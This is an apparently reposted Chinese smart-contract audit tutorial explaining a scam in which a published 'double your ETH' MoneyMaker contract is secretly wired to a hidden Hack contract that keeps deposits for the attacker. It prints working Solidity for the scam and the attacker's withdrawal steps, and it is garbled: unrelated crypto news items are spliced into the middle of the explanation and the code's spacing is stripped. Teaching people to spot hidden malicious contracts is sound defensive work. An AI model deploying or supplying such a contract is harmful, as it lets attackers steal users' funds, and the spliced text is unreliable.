智能合约安全审计入门篇 —— 移花接木_RES:MAKE

概述

上期我们了解了利用tx.origin进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源,其实我们会在部署A合约时传入C合约的地址,如果受害者完全信任我们没有检查部署A合约的那笔交易,我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑:

用户以为的调用路径:

部署合约A传入合约B地址,这样调用路径为正常路径。

实际的调用路径:

波卡生态多链智能合约平台 ParaState 完成 550 万美元融资:官方消息,波卡生态多链智能合约平台 ParaState 完成 550 万美元融资,HyperChain Capital 领投,参投方包括 Firstchain Group、OIG、DCI Capital、Moonboots Capital、AuBit、CSP DAO、Maven Capital、GD10 Ventures、Parsiq、Playcent、ItsBlockchain.com、Llama Ventures 和 CryptoAvengers,此前的投资方如 Kenetic、Moonwhale、Master Ventures、Taureon、Chronos Ventures、1 Cap、Titans Ventures、pSquare、BitcoinGuru 等在本轮中继续参投。[2021/7/15 0:55:08]

部署合约A传入合约C地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

比特币核心开发者正为比特币开发新智能合约语言Sapio:金色财经报道,比特币核心开发者Jeremy Rubin透露了他为比特币开发的新智能合约语言Sapio,他希望这将增加用户的“金融自主权”。他计划将这种编程语言作为其新研究组织Judica的一部分发布。[2020/7/15]

恶意代码

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

Nervos 首席架构师 Jan:智能合约开发者仍属小众群体,应该拥抱传统开发人员:CoinDesk共识大会中文版分会场于北京时间5月12日13-14点在线上举行,Nervos首席架构师谢晗剑(Jan Xie)在大会中表示,Nervos目前的主要目标是完善CKB的开发者体验。

与 C、C++和JavaScript社区相比,智能合约开发人员仍然是很小的一个群体。新的智能合约平台想要成为主流,一个更实际的方法是拥抱传统的开发人员,让他们可以使用任何他们已经熟悉的编程语言,而不是创建一种新的语言并强迫他们使用。Nervos构建了一个与RISC-V完全兼容的虚拟机,GCC/LLVM支持的任何编程语言都可以用来在Nervos上编写智能合约。

这样的设计实现了让更多的开发者加入到Nervos网络中来进行开发,同时也让Nervos开发者社区更加强大。目前,Nervos已开启了Grants计划和孵化器CK Labs计划,旨在拥抱更多优秀的开发人员。[2020/5/12]

局分析

动态 | 智能合约平台RSK开启比特币和以太坊之间的互操作性桥梁:基于比特币的智能合约平台RSK的母公司推出了一个新的代币,以作为将其连接到以太坊的桥梁。位于直布罗陀的开发团队IOV Labs周三宣布,新发布的互操作性桥梁工具将允许用户跨基于RSK和以太坊的数字资产,包括ETH和ERC-20代币。当用户传输代币时,该桥梁的智能合约将锁定初始代币,并在另一个链上生成相应数量的新代币。使用该系统,基于以太坊网络的代币可以转换为基于RSK的RRC20代币,而该代币反过来又可以转换为基于以太坊的ERC777代币。(CoinDesk)[2020/2/7]

可以看到,上述代码中存在三个合约,我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色:

MoneyMaker合约代表A合约;

Vault合约代表B合约;

Hack合约代表C合约。

所以用户以为的调用路径为:

声音 | 智能合约先驱Nick Szabo:比特币的收益仍远超黄金等资产:据beincrypto消息,智能合约先驱Nick Szabo发推表示,在使用夏普比率进行风险调整后,在超过四年的时间里,比特币的收益远远超过了美国股票、房地产、债券、黄金等其他受欢迎的资产。尽管比特币是一种易变资产,具有较高的风险,但其性能仍比传统上较安全的资产(如黄金和房地产)高得多。[2020/1/24]

MoneyMaker->Vault。

而实际的调用路径为:

MoneyMaker->Hack。

下面我们来看看攻击者如何完成局的:

1.Evil部署Vault(B)合约并在合约中留存100ETH资金,在链上将Vault(B)合约开源;

2.Evil部署Hack(C)恶意合约;

3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约,部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址,任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报;

4.Bob收到消息,了解到MoneyMaker合约的存在,他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样,他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil;

5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH,在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址,而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太,而是调用了Hack.transfer()抛出了一个事件:"Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出,并通过Hack.withrow()将Bob转入的20ETH转出。

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

金智博客

[0:0ms0-6:838ms